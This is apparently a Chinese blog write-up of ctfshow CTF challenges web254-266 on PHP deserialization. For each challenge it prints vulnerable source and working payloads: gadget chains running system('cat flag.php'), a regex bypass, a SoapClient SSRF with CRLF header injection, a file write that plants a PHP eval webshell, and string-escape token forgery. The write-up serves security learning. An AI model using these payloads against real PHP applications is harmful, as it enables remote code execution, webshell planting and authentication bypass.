ctfshow web入门反序列化前篇 254-266

这里266后面主要是框架，以后在讲

反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结

web254

<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

这里分析一下，我们通过get可以传参两个值，这里他会自动new一个类，我们传的参就会被送入login中做强比较，只要我们传入的值等于$username和$password的值，我们就可以获得flag了

payload: ?username=xxxxxx&password=xxxxxx

web255

<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

这里和有一些是不一样的，就是我们通过cookie传参，还要进行一次反序列化，而且不会讲isVIP的值设置成true了，所以需要我们自己设置一下。

<?phpclass ctfShowUser{public $isVip=true;
}echo urlencode(serialize(new ctfShowUser));

payload:get传: ?username=xxxxxx&password=xxxxxxcookie传: user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22true%22%3B%7D

web256

<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

这里主要的就是这两部分，首先我们传入的值要等于他的值，然后username和password属性不能相等

    public function login($u,$p){return $this->username===$u&&$this->password===$p;}if($this->username!==$this->password){echo "your flag is ".$flag;}

这里我们生成序列化，设置username为a，password为b，然后get传值a和b就可以了，注意如果下面使用了数字记得用引号包裹，因为我们通过get传输的值是字符串类型的，如果我们这里设置了整数型，那么这两个是不相等的。

<?phpclass ctfShowUser{public $username='a';public $password='b'; public $isVip=true;
}echo urlencode(serialize(new ctfShowUser));

payload:get传：?username=a&password=bcookie传：user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?phperror_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}

这里我们注意，先触发__construct，就是给class new了一个info类，他在最后会触发__destruct魔术方法，类中对应的getInfo()方法，但是backDoor类中才可以，我们可以任意命令执行，所以我们要将类执行backDoor。

他原本是用的是private，但是这个版本我们可以使用public

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;public $class;
}
class backDoor{public $code="system('cat flag.php');";
}$a = new ctfShowUser;
$a -> class = new backDoor;
echo urlencode(serialize($a));

payload: //flag在源代码中查看get传：?username=xxxxxx&password=xxxxxxcookie传: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web258

 <?phperror_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}

这里相对于web257就加了一个过滤，这里我们可以使用加号绕过

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;public $class;
}
class backDoor{public $code="system('cat flag.php');";
}$a = new ctfShowUser;
$a -> class = new backDoor;
$b=serialize($a);
$b = str_replace("O:11","O:+11",$b);
$b = str_replace("O:8","O:+8",$b);
echo urlencode($b);

payload: //flag在源代码中查看get传：?username=xxxxxx&password=xxxxxxcookie传: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web259

<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

//flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}

这里进去只有第一个代码，第二个是题目给我们的，这里扫描目录没有发现其他东西，那么证明基本就只有这两个东西。

这里flag.php中，这段代码只能在本地运行，因为它只接受来自本地IP地址（127.0.0.1）的请求，因为他只能接受本地的ip请求，那么我们的ip在怎么修改也不可能是127.0.0.1，除非存在类似ssrf之类的漏洞。

这里第一段代码其实可以可以触发__call魔术方法，那么我们其实可以利用SoapClient类

具体理解可以去看我写的php反序列化总结-原生类-SoapClient

接下来我们先本地看看，嗯，没有什么问题

<?php$a = new SoapClient(null, array('location'=>'http://192.168.31.154:54321','user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",'uri'=>'http://192.168.31.154:54321'));
$a -> a();

这里我们通过,分隔，array_pop会弹出两个，获取第一个

就是说我们传入1.1.1.1,2.2.2.2,3.3.3.3

最后赋值给$ip的只有1.1.1.1

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

//最终payload
<?php$a = new SoapClient(null, array('location'=>'http://127.0.0.1/flag.php','user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",'uri'=>'hhttp://127.0.0.1/flag.php'));
echo urlencode(serialize($a));

//传入以后访问flag.txt，获得flag
payload: get传入: ?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A26%3A%22hhttp%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A137%3A%22aaa%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

web260

<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}

分析这里他是有进行正则匹配的，只要通过serialize序列化以后还有包括ctfshow_i_love_36D他就会输出flag，但是说只要传传入ctfshow_i_love_36D就会肯定有这个字符串

payload:get传：?ctfshow=ctfshow_i_love_36D

web261

<?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);

这里我们分析一下，有两个利用点
    public function __invoke(){eval($this->code);} public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}} 
但是说第一个eval就是一个陷阱，因为没有地方可以触发__invoke魔术方法

所以我们要触发file_put_contents

注意这里__unserialize是比__wakup优先的，这里赋值了code等于username加上password的值

    public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}

继续分析这里这里code，code等于的是一个16进制0x36d，所以就是要弱等于877，所以我们可以让username为877.php，他会检测到点就会停止，所以可以通过判断

    public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}

//最终payload
<?php
class ctfshowvip{public $username="877.php";public $password='<?php eval($_POST[a]);?>';
}echo serialize(new ctfshowvip);

//然后访问887.php,通过一句话木马获得flag
payload:get传：?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";}

web262

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);

喵的，我是真的没有看到上面还有一个message.php，扫目录扫了这么久，藏在这里我是真的没有想到

//message.php源码
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}

方法1：

我们这里知道了获得flag的条件肯定是直接进行修改token属性的值了呗。

//payload1
<?php
class message{public $token="admin";
}echo base64_encode(serialize(new message));

payload:cookie传：msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

方法二

按正常方法来我们肯定要使用字符串逃逸的

分析第一段代码，首先我们只能操作的只有f、m、t三个参数，要使token为admin就要覆盖token，我们创建一个token。

首先我们在本地正常序列化一段他的值，那么下面就是我们需要通过增加来拼接的段
";s:5:"token";s:5:"admin";}
//长度27
那么就需要27个fuck，来往后移他的值，这里在本地给大家演示一下

<?php
class message{public $from="1";public $msg="1";public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';public $token='user';
}$a=serialize(new message);
$umsg = str_replace('fuck', 'loveU', $a);
echo $a.PHP_EOL;
echo $umsg.PHP_EOL;
var_dump(unserialize($umsg));

通过本地演示，我们就可以知道他是用";s:5:"token";s:5:"admin";}和前面拼接，那么后面的值就被当成垃圾了

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}object(message)#1 (4) {["from"]=>string(1) "1"["msg"]=>string(1) "1"["to"]=>string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU"["token"]=>string(5) "admin"
}

payload:get传：?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
//传输好后，他就自动将序列化的值传入cookie msg中，访问message.php就可以获得flag

web263

看这里，因为比较多，我重新搞一篇写这个

ctfshow web入门反序列化 263

web264

刚一看，差点以为看错了，题目打开错了，但是仔细看还是有一些去区别，就是262从cookie传参变成了session传参，那么就没有第一种方法了

但是他是session的值，我们不能修改，但是session的名还是可以的

payload：get传：?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}cookie传：msg=1

web265

<?phperror_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag;
}

这里token他是等于一个随机值的md5，因为没有设置种子的原因，我们是无法预测他的值是多少，但是password的值要和他相等，看似不可能，但是我们可以将token的值复制给password，那么他们的值一定相等。

//payload
<?php
class ctfshowAdmin{public $token;public $password;}$a = new ctfshowAdmin;
$a -> token = &$a -> password;echo serialize($a);

payload:get传：?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

web266

<?phphighlight_file(__FILE__);include('flag.php');
$cs = file_get_contents('php://input');class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}

这里我们分析一下，因为php://input，那么$cs的值就是我们post传递的值，这里只要__destruct魔术方法执行，我们就可以获得flag，但是这里有一个判断只要我们传输的值有ctfshow就触发自定义报错，那么__destruct就不会执行。

这里我们可以使用大小写来绕过，比较他没有加i，就不会检测大小写。

//payload
<?phpclass ctfshow{public $username;public $password;
}$a = serialize(new ctfshow);
echo str_replace("ctfshow","CTFSHOW",$a);

payload:post传：O:7:"CTFSHOW":2:{s:8:"username";N;s:8:"password";N;}
//注意这里可以使用burp

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ctfshow web入门反序列化前篇 254-266

web254

web255

web256

web257

web258

web259

web260

web261

web262

方法1：

方法二

web263

web264

web265

web266

ctfshow web入门反序列化前篇 254-266相关推荐

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ctfshow web入门 反序列化 前篇 254-266

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web259

web260

web261

web262

方法1：

方法二

web263

web264

web265

web266

ctfshow web入门 反序列化 前篇 254-266相关推荐

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ctfshow web入门反序列化前篇 254-266

ctfshow web入门反序列化前篇 254-266相关推荐